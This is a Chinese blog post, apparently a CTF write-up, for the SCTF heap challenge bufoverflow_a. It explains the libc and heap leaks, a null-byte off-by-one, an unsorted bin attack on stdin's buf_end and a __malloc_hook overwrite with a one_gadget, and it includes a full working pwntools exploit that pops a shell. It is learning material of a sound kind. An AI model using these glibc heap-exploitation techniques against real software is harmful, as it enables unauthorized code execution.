• pwn学习之四


    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波。

    bufoverflow_a

    做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了。

    这题的主要功能如下:

    正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束。

    首先泄露libc的地址,申请堆只能申请0x7f到0x1000的大小,也就是不能申请fastbin,构造堆分布如下:

    先申请两个0x88的chunk,然后free chunk 1,再申请一个0x88的堆,这时候这个堆的fd和bk指向main_arena+88,再执行show函数就可以泄露libc(这里注意不能申请过多堆,因为题目中只有堆的个数小于2的时候用的malloc,大于就用calloc,会清空堆的内容)

    堆地址也可以用类似方法泄露,构造堆分布:

    先申请4个0x88堆,再free堆块1和堆块3,堆块4,这样堆块3,4,top_chunk会合并,这时top_chunk的fd会是chunk 1,所以再申请一个大于0x88的堆会从top_chunk分配再show就能泄露堆地址。

    再fill函数中存在null byte off-by-one漏洞,常规思路就是用null byte off-by-one造成overlap然后unsorted bin attack,这题有scanf函数,可以修改stdin的buf_end然后覆盖malloc_hook成one_gadget,用house of orange应该也是能出的。

     首先构造堆块如下:

    先申请了4个堆块,然后free掉第一个和第二个堆块,再申请第一个堆块,这样就可以写第一个堆块并使用漏洞将第二个堆块的size最后一位修改为x00,这时第二个堆块还在unsorted bin里面。

    接着继续申请4个堆块大小大于7f并且4个大小相加小于0x400。由于前面第二个堆块的size改变了导致unsorted bin大小变了但是后面堆块也就是之前申请的大小0x100的堆块的pre_size并没有更新(因为是通过unsortedbin这个堆的size来找下一个堆的pre_size去修改,但是现在size小于原来的size,所以找到的位置并不是0x100的堆的pre_size的位置而是更上面的地方)。申请过后堆的情况如下:

    接着按照上图free 0x88,0x100,0x200,由于0x100的堆块的pre_size还是之前的值,所以会和0x88的堆块合并,就会造成一个大的unsortedbin并且包含了之前申请的0x200的堆块。(这里要特别注意free的顺序,由于只有刚申请的块能够写入,所以这里我们需要提前构造一个unsorted bin在之后申请的堆的内部,而unsorted bin是先入先出的结构如果前面的未满足申请的大小就会放入对应的smallbin或者largebin里面,所以先free了0x88,0x100使得两个块合并后有一个unsortedbin,再free 0x200得到第二个unsortedbin,这样下次malloc的时候第一个unsortedbin符合返回了,就不会把后面的unsortedbin放入smallbin里面去了)。

    申请一个大小为0x518的块,这时这个块就包含了里面0x200的那个unsortedbin块,fill函数写入将unsortedbin的块的bk改为stdin+0x30,接着申请一个0x208的块就完成了unsorted bin attack,这时bk+0x10会被赋值为unsortedbin地址也就是main_arena+88,而stdin+0x30+0x10的位置就是buf_end的位置,所以buf_end被赋值为main_arena+88。

    scanf写入时会先将输入放入缓冲区内,再写入,而缓冲区的位置就是buf_base,大小是buf_end-buf_base,现在修改了buf_end,也就是说我们可以任意写入值到buf_base到buf_end之间,而这之间就存在malloc_hook。

    然而在这之间还需要保证两个值的正确性,一个是lock一个是vtable,lock需要一个指向0的地址,vtable就用原来的地址就行,所以构造payload如下:

    payload = '1
    x00x00x00'
    payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    payload = payload.ljust(0x1ad,'x00')
    payload += p64(one_gadget)

     这里看的wp都是前5个字符都是x00,同样可以使得程序进入到1选项中去申请堆块,不是很理解,应该是和scanf接收x00的处理有关,这里我构造的前5个字节为'1 x00x00x00',因为scanf碰到 会将 替换为x00,这里就能保证输入1,进入了1选项后去申请一个大小的堆,就会跳到malloc_hook去执行one_gadget拿到shell了。

    exp:

    from pwn import *
    p = process('./bufoverflow_a')
    #p = remote('116.62.152.176', 20001)
    #context.log_level = 'debug'
    p.recvuntil('>> ')
    def alloc(p,size):
        p.sendline('1')
        p.recvuntil('Size: ')
        p.sendline(size)
        p.recvuntil('>> ')
    def delete(p,index):
        p.sendline('2')
        p.recvuntil('Index: ')
        p.sendline(index)
        p.recvuntil('>> ')
    def fill(p,content):
        p.sendline('3')
        p.recvuntil('Content: ')
        p.send(content)
        p.recvuntil('>> ')
    def show(p):
        p.sendline('4')
    #gdb.attach(proc.pidof(p)[0])
    #leak libc
    alloc(p,str(0x88)) #0
    alloc(p,str(0x300)) #1
    delete(p,str(0)) #free 0
    alloc(p,str(0x88)) #0
    show(p)
    main_arena = u64(p.recv(6).ljust(8,'x00'))-88
    print hex(main_arena)
    p.recvuntil('>> ')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF('./libc.so.6')
    malloc_hook = main_arena-0x10
    io_list_all_addr = libc.symbols['_IO_list_all']+malloc_hook-libc.symbols['__malloc_hook']
    jump_table_addr = libc.symbols['_IO_file_jumps']+malloc_hook-libc.symbols['__malloc_hook']
    system_addr = libc.symbols['system']+malloc_hook-libc.symbols['__malloc_hook']
    stdin = libc.symbols['_IO_2_1_stdin_']+malloc_hook-libc.symbols['__malloc_hook']
    binsh = libc.search('/bin/shx00').next()+malloc_hook-libc.symbols['__malloc_hook']
    one_gadget = 0xd6655+malloc_hook -libc.symbols['__malloc_hook']
    print 'one_gadget:',hex(one_gadget)
    #one_gadget = 0x45216+malloc_hook -libc.symbols['__malloc_hook']
    print 'stdin:',hex(stdin)
    print 'lock:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    print 'io_jump:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    #clear
    delete(p,str(0))
    delete(p,str(1))
    
    #leak heap
    alloc(p,str(0x88))#0
    alloc(p,str(0x88))#1
    alloc(p,str(0x88))#2
    alloc(p,str(0x88))#3
    delete(p,str(0)) #free 0
    delete(p,str(2)) #free 2
    delete(p,str(3)) #free 3
    alloc(p,str(0x100))#0
    show(p)
    heap_addr = u64(p.recv(6).ljust(8,'x00'))
    fake_heap = heap_addr-0x20+0x18
    print hex(heap_addr)
    #clear
    p.recvuntil('>> ')
    delete(p,str(0))
    delete(p,str(1))
    
    #unsafe unlink
    alloc(p,str(0x88))#0
    alloc(p,str(0x400))#1
    alloc(p,str(0x100))#2
    alloc(p,str(0x88))#3
    
    delete(p,str(0))
    delete(p,str(1))
    alloc(p,str(0x88))#0
    payload = 'a'*0x88
    fill(p,payload)
    
    alloc(p,str(0x88)) #1
    alloc(p,str(0x88)) #4
    alloc(p,str(0x200)) #5
    alloc(p,str(0xb8)) #6
    
    delete(p,str(1))
    delete(p,str(2))
    delete(p,str(5))
    
    alloc(p,str(0x518))
    payload = 'a'*0x80
    payload += p64(0) + p64(0x91)
    payload += 'b'*0x80
    payload += p64(0) + p64(0x211)
    payload += p64(main_arena+88) + p64(stdin+0x30)
    fill(p,payload+'
    ')
    
    alloc(p,str(0x208))
    
    '''payload = '1
    x00x00x00'#'x00'*5
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    payload += p64(0xffffffffffffffff) + p64(0)
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x3999a0)+p64(0)
    payload += p64(0)*2
    payload += p64(0xffffffff)+p64(0)
    payload += p64(0) + p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    payload += 'x00'*0x130
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x395f00)+p64(0)
    payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x7c610)+p64(0)
    payload += p64(one_gadget)'''
    payload = '1
    x00x00x00'
    payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
    payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
    payload = payload.ljust(0x1ad,'x00')
    payload += p64(one_gadget)
    
    p.sendline(payload)
    p.recvuntil('Size: ')
    p.sendline(str(0x88))
    p.interactive()
    

     主要写了一些在复现时候踩的坑和一些不理解的地方(大佬们可以自动忽略这些废话。。。)。

  • 相关阅读:
    打印乘法口诀
    sum() 求和用法
    Python 2 和 Python 3 有哪些主要区别
    列表 enumerat 解包, 针对索引和元素
    冒泡排序,纯数字列表排序 解包,加中间值
    python 字符串与列表的相互转换 数据类型转换
    赋值 深浅拷贝
    python去掉字符串中空格的方法
    #上节多线程内容回顾#多线程的使用场景 #多进程的基本使用
    #queue队列 #生产者消费者模型
  • 原文地址:https://www.cnblogs.com/lllkh/p/9251494.html
Copyright © 2020-2023  润新知